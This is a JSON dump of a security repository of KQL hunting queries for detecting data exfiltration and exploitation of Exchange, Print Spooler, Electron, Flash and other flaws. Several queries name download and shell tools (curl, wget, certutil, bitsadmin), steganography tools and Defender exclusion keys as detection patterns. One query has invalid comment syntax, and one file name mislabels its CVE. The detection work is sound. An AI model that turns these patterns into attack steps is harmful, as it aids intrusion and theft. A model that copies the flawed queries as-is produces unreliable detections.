pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](./Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](./MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](./OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](./OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](../Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md)\n* [New access credential added to application or service principal](../Persistence/NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Exfiltration/Password Protected Archive Creation.md",
    "content": "# Password Protected Archive Creation\n\nOne common technique leveraged by attackers is using archiving applications to package up files for exfiltration. In many cases, these archives are usually protected with a password to make analysis more difficult.  This query identifies applications which leverage a command line pattern which matches the 7zip and WinRAR command line executables to create or update an archive when a password is specified.  By detecting based on the command line we can avert attempts to dodge detection by renaming the application.\n\nHappy hunting!\n\n## Query\n\n```\nDeviceProcessEvents\n| where ProcessCommandLine matches regex @\"\\s[aukfAUKF]\\s.*\\s-p\"  // Basic filter to look for launch string\n| extend SplitLaunchString = split(ProcessCommandLine, ' ') // Split on the space\n| where array_length(SplitLaunchString) >= 5 and SplitLaunchString[1] in~ ('a','u','k','f') // look for calls to archive or update an archive specifically as the first argument\n| mv-expand SplitLaunchString // cross apply the array\n| where SplitLaunchString startswith \"-p\"  // -p is the password switch and is immediately followed by a password without a space\n| extend ArchivePassword = substring(SplitLaunchString, 2, strlen(SplitLaunchString))\n| project-reorder ProcessCommandLine, ArchivePassword // Promote these fields to the left\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection | v |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Exfiltration/Possible File Copy to USB Drive.md",
    "content": "# Possible File Copy to USB Drive\n\nThis query searches for file copies which occur within a period of time (by default 15 min) to volumes other than the C drive or UNC shares. By default, this query will\nsearch all devices. A single device can be specified by entering the DeviceName in the DeviceNameToSearch variable. Additionally, to change the period of time from when\nthe USB device was inserted, adjust the TimespanInSeconds value.\n\nHappy hunting!\n\n## Query\n\n```\nlet DeviceNameToSearch = ''; // DeviceName to search for. Leave blank to search all devices.\nlet TimespanInSeconds = 900; // Period of time between device insertion and file copy\nlet Connections =\nDeviceEvents\n| where (isempty(DeviceNameToSearch) or DeviceName =~ DeviceNameToSearch) and ActionType == \"PnpDeviceConnected\"\n| extend parsed = parse_json(AdditionalFields)\n| project DeviceId,ConnectionTime = Timestamp, DriveClass = tostring(parsed.ClassName), UsbDeviceId = tostring(parsed.DeviceId), ClassId = tostring(parsed.DeviceId), DeviceDescription = tostring(parsed.DeviceDescription), VendorIds = tostring(parsed.VendorIds)\n| where DriveClass == 'USB' and DeviceDescription == 'USB Mass Storage Device';\nDeviceFileEvents\n| where (isempty(DeviceNameToSearch) or DeviceName =~ DeviceNameToSearch) and FolderPath !startswith \"c\" and FolderPath !startswith @\"\\\"\n| join kind=inner Connections on DeviceId\n| where datetime_diff('second',Timestamp,ConnectionTime) <= TimespanInSeconds\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection | v |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Exfiltration/detect-archive-exfiltration-to-competitor.md",
    "content": "# Detect Exfiltration to Competitor Organization\n\nThis query can be used to detect instances of a malicious insider creating a file archive and then emailing that archive to an external \"competitor\" organization.\n\n## Query\n\n```\nEmailEvents\n| where RecipientEmailAddress contains \"competitor\"\nand AttachmentCount >=1\n| join (\nEmailAttachmentInfo\n//| where isnotempty(SHA256)\n)on NetworkMessageId\n| join (\nDeviceFileEvents\n| where InitiatingProcessFileName in (\"7z.exe\", \"7zG.exe\", \"AxCrypt.exe\", \"BitLocker.exe\", \"Diskcryptor.exe\", \"GNUPrivacyGuard.exe\", \"GPG4Win.exe\", \"PeaZip.exe\", \"VeraCrypt.exe\", \"WinRAR.exe\", \"WinZip.exe\")\n| project FileName, SHA256\n) on FileName\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** SEI National Insider Threat Center\n\n**GitHub alias:** sei-nitc\n\n**Organization:** Carnegie Mellon University Software Engineering Institute\n\n**Contact info:** insider-threat-feedback@cert.org\n\n&copy; Carnegie Mellon University, 2020. All rights reserved"
  },
  {
    "path": "Exfiltration/detect-exfiltration-after-termination.md",
    "content": "# Detect Exfiltration after Termination\n\nThis query can be used to explore any instances where a terminated individual (i.e. one who has an impending termination date but has not left the company) downloads a large number of files from a non-Domain network address.\n\n## Query\n\n```\n// Look for any activity for terminated employee creating a DeviceNetworkEvents after they announced termination or resignation\nlet TermAccount = 'departing.employee'; //Enter the departing employee's username\nlet ReleaseTime = datetime(\"01/16/2022 00:00:00\"); //Enter the date the resignation or termination was announced\nDeviceNetworkEvents\n| where InitiatingProcessAccountName =~ TermAccount\n| where Timestamp  > ReleaseTime\n//| project Timestamp , DeviceName, InitiatingProcessAccountName\n| sort by Timestamp  desc\n| join \nDeviceFileEvents on InitiatingProcessAccountName\n| where FileName endswith \".docx\" or FileName endswith \".pptx\" or FileName endswith \".xlsx\" or FileName endswith \".pdf\"\n| join DeviceNetworkInfo on DeviceId\n| where ConnectedNetworks !contains '\"Category\":\"Domain\"'  //Looking for remote, non-domain networks\n| summarize TotalFiles=count() by bin(5Minutebin=Timestamp, 5m), InitiatingProcessAccountName\n|where TotalFiles >1000 // adjust accordingly\n| project TotalFiles,5Minutebin,InitiatingProcessAccountName\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** SEI National Insider Threat Center\n\n**GitHub alias:** sei-nitc\n\n**Organization:** Carnegie Mellon University Software Engineering Institute\n\n**Contact info:** insider-threat-feedback@cert.org\n\n&copy; Carnegie Mellon University, 2020. All rights reserved\n"
  },
  {
    "path": "Exfiltration/detect-steganography-exfiltration.md",
    "content": "# Detect Steganography Exfiltration\n\nThis query can be used to detect instances of malicious users who attempt to create steganographic images and then immediately browse to a webmail URL.  This query would require additional investigation to determine whether the co-occurrance of generating a steganographic image and browsing to a webmail URL is an indication of a malicious event.\n\n## Query\n\n```\nlet stegProcesses= view() {\nlet stegnames = pack_array (\"camouflage\",\"crypture\", \"hidensend\", \"openpuff\",\"picsel\",\"slienteye\",\"steg\",\"xiao\");\nlet ProcessQuery = view()\n{\nDeviceProcessEvents\n| where Timestamp > ago(30d)\n| where ProcessCommandLine has_any (stegnames)\n};\nlet FileQuery = view(){\nDeviceFileEvents\n| where FileName has_any (stegnames)\n};\nunion ProcessQuery, FileQuery\n| project StegProcessTimestamp=Timestamp, DeviceName, InitiatingProcessAccountName, FileName, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessCommandLine};\nlet WebMailUsage=view(){\n// This query finds network communication to specific webmail URL\nlet webmailURLs = pack_array (\"mail.google.com\", \"mail.yahoo.com\", \"mail.protonmail.com\"); // Change or append additional webmail URLs\nDeviceNetworkEvents \n| where Timestamp > ago(30d)\nand RemoteUrl contains webmailURLs};\nWebMailUsage\n| join stegProcesses on DeviceName\n| where (Timestamp - StegProcessTimestamp) between (0min..30min)\n|project StegProcessTimestamp,Timestamp,RemoteUrl,DeviceName,InitiatingProcessAccountName,FileName\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** SEI National Insider Threat Center\n\n**GitHub alias:** sei-nitc\n\n**Organization:** Carnegie Mellon University Software Engineering Institute\n\n**Contact info:** insider-threat-feedback@cert.org\n\n&copy; Carnegie Mellon University, 2020. All rights reserved"
  },
  {
    "path": "Exfiltration/exchange-powershell-snapin-loaded.md",
    "content": "# Exchange PowerShell snap-in being loaded\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query finds evidence of an Exchange PowerShell snap-in being loaded. This can indicate an attempt to exfiltrate data.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceProcessEvents | where FileName has_any (\"cmd.exe\", \"powershell.exe\", \"PowerShell_ISE.exe\") \n| where ProcessCommandLine contains \"Add-PSSnapin Microsoft.Exchange.Powershell.Snapin\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration | v |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## See also\n\n* [Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique](../Execution/reverse-shell-nishang.md)\n* [Procdump dumping LSASS credentials](../Credential%20Access/procdump-lsass-credentials.md)\n* [7-ZIP used by attackers to prepare data for exfiltration](./7-zip-prep-for-exfiltration.md)\n* [Powercat exploitation tool downloaded](../Delivery/powercat-download.md)\n* [Exchange vulnerability creating web shells via UMWorkerProcess](../Execution/umworkerprocess-creating-webshell.md)\n* [Exchange Server IIS dropping web shells and other artifacts](../Execution/exchange-iis-worker-dropping-webshell.md)\n* [Exchange vulnerability launching subprocesses through UMWorkerProcess](../Execution/umworkerprocess-unusual-subprocess-activity.md)\n* [Base64-encoded Nishang commands for loading reverse shell](../Execution/reverse-shell-nishang-base64.md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Exploits/AcroRd-Exploits.txt",
    "content": "// The following query look for suspicious behaviors observed by the samples analyzed in the report.\n \n// Search for persistence in Statup folder that's done by Adobe Acrobat Reader.\n// Normally, this behavior is not expected.\nDeviceFileEvents \n| where\n    InitiatingProcessFileName =~ \"acrord32.exe\"\n    and FolderPath contains \"\\\\Start Menu\\\\Programs\\\\Startup\"  \n| project FolderPath, DeviceName, Timestamp, FileName, InitiatingProcessCommandLine, SHA1\n"
  },
  {
    "path": "Exploits/CVE-2021-36934 usage detection.md",
    "content": "# CVE-2021-36934 usage detection\n \n Assuming that you have a machine that is properly BitLocker'ed, then \n the machine will need to be running to extract the SAM and SYSTEM\n files. \n \n This first query looks for any access to the HKLM that happens via a command\n or script that is not executed by system. \n \n The second query looks for usage of reg or regedit by anyone who is not system.\n\n## Query\n```\nlet startTime = now(-7d);\nlet endTime = now();\nDeviceProcessEvents\n| where Timestamp between (startTime..endTime)\n| where ProcessCommandLine contains \"HKLM\"\n| where AccountName != \"system\"\n\n#This query just looks for usage of \"reg\" in processes that aren't ran by system.\nlet startTime = now(-7d);\nlet endTime = now();\nDeviceProcessEvents\n| where Timestamp between (startTime..endTime)\n| where ProcessCommandLine contains \"reg\"\n| where AccountName != \"system\"\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation | y |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | y |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n## Contributor info\n**Contributor:** Carl Peter McCollough\n**GitHub alias:** YulelogPagoda\n**Contact info:** https://www.linkedin.com/in/petemccollough/\n"
  },
  {
    "path": "Exploits/Electron-CVE-2018-1000006.txt",
    "content": "// The query checks process command lines arguments and parent/child combinations to find machines where there have been \r\n// attempts to exploit the Protocol Handler Vulnerability of Electron framework CVE-2018-1000006.\r\n// Electron is a common framework used by many popular applications (e.g. Skype, Teams, Slack, VSCode) which expose protocol handlers\r\n// which can trigger a remote code execution vulnerability via a browser vector (e.g. Chrome, Internet Explorer, Edge)\r\n//\r\n// CVE: CVE-2018-1000006\r\n// Read more here:\r\n// https://electronjs.org/blog/protocol-handler-fix\r\n// https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000006\r\n// https://www.exploit-db.com/exploits/43899/\r\n// https://hackernoon.com/exploiting-electron-rce-in-exodus-wallet-d9e6db13c374\r\n//\r\n// Tags: #exploit #CVE-2018-1000006 #Electron\r\n\r\nDeviceProcessEvents \r\n| where Timestamp > ago(14d) \r\n| where FileName in~ (\"code.exe\", \"skype.exe\", \"slack.exe\", \"teams.exe\") \r\n| where InitiatingProcessFileName in~ (\"iexplore.exe\", \"runtimebroker.exe\", \"chrome.exe\") \r\n| where ProcessCommandLine has \"--gpu-launcher\"  \r\n| summarize FirstEvent=min(Timestamp), LastEvent=max(Timestamp) by DeviceName, ProcessCommandLine, FileName, InitiatingProcessFileName\r\n"
  },
  {
    "path": "Exploits/Flash-CVE-2018-4848.txt",
    "content": "// This query checks for specific processes and domain TLD used in the CVE-2018-4878 flash 0day exploit attack reported by KrCERT.\r\n//\r\n// CVE: CVE-2018-4878\r\n// Read more here:\r\n// https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=26998\r\n// https://helpx.adobe.com/security/products/flash-player/apsa18-01.html\r\n// http://blog.talosintelligence.com/2018/02/group-123-goes-wild.html\r\n// http://blog.morphisec.com/flash-exploit-cve-2018-4878-spotted-in-the-wild-massive-malspam-campaign\r\n//\r\n// Tags: #exploit #CVE-2018-4878 #0day #Korea #Flash\r\n\r\nDeviceNetworkEvents \r\n| where Timestamp > ago(14d) \r\n| where InitiatingProcessFileName =~ \"cmd.exe\" and InitiatingProcessParentFileName =~ \"excel.exe\" \r\n| where RemoteUrl endswith \".kr\" \r\n| project Timestamp, DeviceName, RemoteIP, RemoteUrl  \r\n| top 100 by Timestamp\r\n"
  },
  {
    "path": "Exploits/Linux-DynoRoot-CVE-2018-1111.txt",
    "content": "// The query checks process command lines arguments and parent/child combinations to find machines where there have been \n// attempts to exploit a DHCP remote code command injection CVE-2018-1111.\n// DynoRoot is a remote command injection present in a script included by the DHCP client in Red Hat Enterprise Linux 6 and 7.\n// Using it, a malicious attacker could use this flaw to execute arbitrary commands with root privileges.\n//\n// CVE: CVE-2018-1111\n// Read more here:\n// https://access.redhat.com/security/cve/cve-2018-1111\n// https://www.cvedetails.com/cve/CVE-2018-1111/\n//\n// Tags: #exploit #CVE-2018-1111 #DynoRoot\n\nDeviceProcessEvents\n| where InitiatingProcessCommandLine contains \"/etc/NetworkManager/dispatcher.d/\"\n    and InitiatingProcessCommandLine contains \"-dhclient\"\n    and isnotempty(ProcessCommandLine)\n    and FileName !endswith \".exe\"\n| project Timestamp, DeviceName , FileName, ProcessCommandLine, InitiatingProcessCommandLine \n"
  },
  {
    "path": "Exploits/MosaicLoader.md",
    "content": "# MosaicLoader\nThis hunting query looks Malware Hides Itself Among Windows Defender Exclusions to Evade Detection\n## Query\n```\nDeviceRegistryEvents \n| where ((ActionType == \"RegistryValueSet\") and (RegistryKey startswith @\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Exclusions\\\\Paths\" \nor RegistryKey startswith @\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions\"\nor RegistryKey startswith @\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes\"))\n```\n\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control | V |  |\n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n**Contributor:** Shviam Malaviya\n**GitHub alias:** shviammalaviya\n**Organization:** OS\n**Contact info:** shivammalaviya@hotmail.com\n"
  },
  {
    "path": "Exploits/Print Spooler RCE/Spoolsv Spawning Rundll32.md",
    "content": "# Spoolsv Spawning Rundll32\n \nLook for the spoolsv.exe launching rundll32.exe with an empty command line \n\n## Query\n```\nDeviceProcessEvents\n| where InitiatingProcessParentFileName has \"spoolsv.exe\"\n| where InitiatingProcessFileName =~ \"rundll32.exe\"\n| where isempty(InitiatingProcessCommandLine) or InitiatingProcessCommandLine endswith \"rundll32.exe\" //either commandline is empty or just \"rundll32.exe\"\n| where FileName !in~ (\"WerFault.exe\")\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation | v |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n"
  },
  {
    "path": "Exploits/Print Spooler RCE/Suspicious DLLs in spool folder.md",
    "content": "# Suspicious DLLs in spool folder\n \nLook for the creation of suspicious DLL files spawned in the \\spool\\ folder along with DLLs that were recently loaded afterwards from \\Old\\. \n\n## Query\n```\nDeviceFileEvents\n| where FolderPath contains @\"\\system32\\spool\\drivers\\x64\\3\\\"\n| where FileName endswith \".dll\"\n| where ActionType in (\"FileCreated\", \"FileRenamed\")\n| join kind=inner DeviceImageLoadEvents on DeviceId,DeviceName,FileName,InitiatingProcessFileName\n| where Timestamp1 >= Timestamp and FolderPath1 contains @\"\\system32\\spool\\drivers\\x64\\3\\Old\" \n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation | v |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n"
  },
  {
    "path": "Exploits/Print Spooler RCE/Suspicious Spoolsv Child Process.md",
    "content": "# Suspicious Spoolsv Child Process\n \nSurfaces suspicious spoolsv.exe behavior likely related to CVE-2021-1675\n\n## Query\n```\n// Look for file load events for spoolsv\nDeviceImageLoadEvents\n| where Timestamp > ago(7d)\n| where InitiatingProcessFileName =~ \"spoolsv.exe\"\n| where FolderPath has @\"spool\\drivers\"\n| extend LoadFileTime = Timestamp\n| distinct DeviceId, LoadFileTime, FileName, SHA256\n// Join process data associated with spoolsv launching suspicious processes after image load\n| join DeviceProcessEvents on $left.DeviceId == $right.DeviceId\n| where Timestamp > ago(7d)\n| where Timestamp < LoadFileTime +5m\n| where InitiatingProcessFileName =~ \"spoolsv.exe\"\n| where ProcessIntegrityLevel =~ 'SYSTEM'\n| where (FileName1 in~(\"gpupdate.exe\", \"whoami.exe\", \"nltest.exe\", \"taskkill.exe\",\n            \"wmic.exe\", \"taskmgr.exe\", \"sc.exe\", \"findstr.exe\", \"curl.exe\", \"wget.exe\", \"certutil.exe\", \"bitsadmin.exe\", \"accesschk.exe\",\n            \"wevtutil.exe\", \"bcdedit.exe\", \"fsutil.exe\", \"cipher.exe\", \"schtasks.exe\", \"write.exe\", \"wuauclt.exe\") or \n// Processes with specific FPs removed          \n(FileName1 =~ \"net.exe\" and ProcessCommandLine !has \"start\") or \n(FileName1 =~ \"cmd.exe\" and not(ProcessCommandLine has_any(\".spl\", \"route add\", \"program files\"))) or \n(FileName1 =~ \"netsh.exe\" and not(ProcessCommandLine has_any(\"add portopening\", \"rule name\")))) or\n(FileName1 =~ \"powershell.exe\" and ProcessCommandLine!has \".spl\") or\n(FileName1 =~ \"rundll32.exe\" and ProcessCommandLine != \"\" and ProcessCommandLine !contains \" \")\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation | v |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n"
  },
  {
    "path": "Exploits/Print Spooler RCE/Suspicious files in spool folder.md",
    "content": "# Suspicious files in spool folder\n \nMonitor for creation of suspicious files in the /spools/driver/ folder. This is a broad-based search that will surface any creation or modification of files in the folder targeted by this exploit. False Positives for legitimate driver activity (when that activity should be present) in this folder are possible\n\n## Query\n```\nDeviceFileEvents\n| where FolderPath has @\"System32\\spool\\drivers\"\n| project DeviceName,Timestamp,ActionType,FolderPath,FileName,SHA1\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation | v |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | v |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n"
  },
  {
    "path": "Exploits/SolarWinds -CVE-2021-35211.md",
    "content": "# SolarWinds CVE-2021-35211\n//Check for network connections with SolarWInds IP's based on DeviceNetworkEvents## Query\n```\nlet IPs = pack_array(\"98.176.196.89\", \"68.235.178.32\", \n\"208.113.35.58\",\"144.34.179.162\",\"97.77.97.58\"); \nDeviceNetworkEvents\n| where RemotePort == 443\n| where Protocol == \"Tcp\" and ActionType == \"ConnectionSuccess\"\n| where Timestamp > ago(7d) \n| where RemoteIP in(IPs)\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control | V | |\n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n**Contributor:** Shivam Malaviya  \n**GitHub alias:** shviammalaviya\n**Organization:** OS\n**Contact info:** shivammalaviya@hotmail.com\n"
  },
  {
    "path": "Exploits/printnightmare-cve-2021-1675 usage detection.md",
    "content": "# printnightmare-cve-2021-1675 usage detection\n \n First query digs in print spooler drivers folder for any file creations, \n MANY OF THE FILES THAT SHOULD COME UP HERE MAY BE LEGIT. Unsigned files\n or ones that don't have any relations to printers that you are using are \n suspicious. \n \n Second query that can be used for finding client machines that \n could be operating print servers or file servers is also included here.\n As additional mitigation for the exploit you might want to block the \n incoming traffic to the SMB or EPMAP Ports (445) if you need to keep the\n spooler service running to print from clients.\n\n## Query\n```\nDeviceFileEvents\n| where Timestamp > ago(7d)\n| where ActionType == \"FileCreated\"\n| where FolderPath startswith \"C:\\\\WINDOWS\\\\SYSTEM32\\\\SPOOL\\\\drivers\"\n\nDeviceNetworkEvents\n| where Timestamp > ago(7d)\n| where LocalPort == 445\n| summarize RemoteIPCount=dcount(RemoteIP) by DeviceName, InitiatingProcessFileName, InitiatingProcessId, InitiatingProcessCreationTime\n```\n## 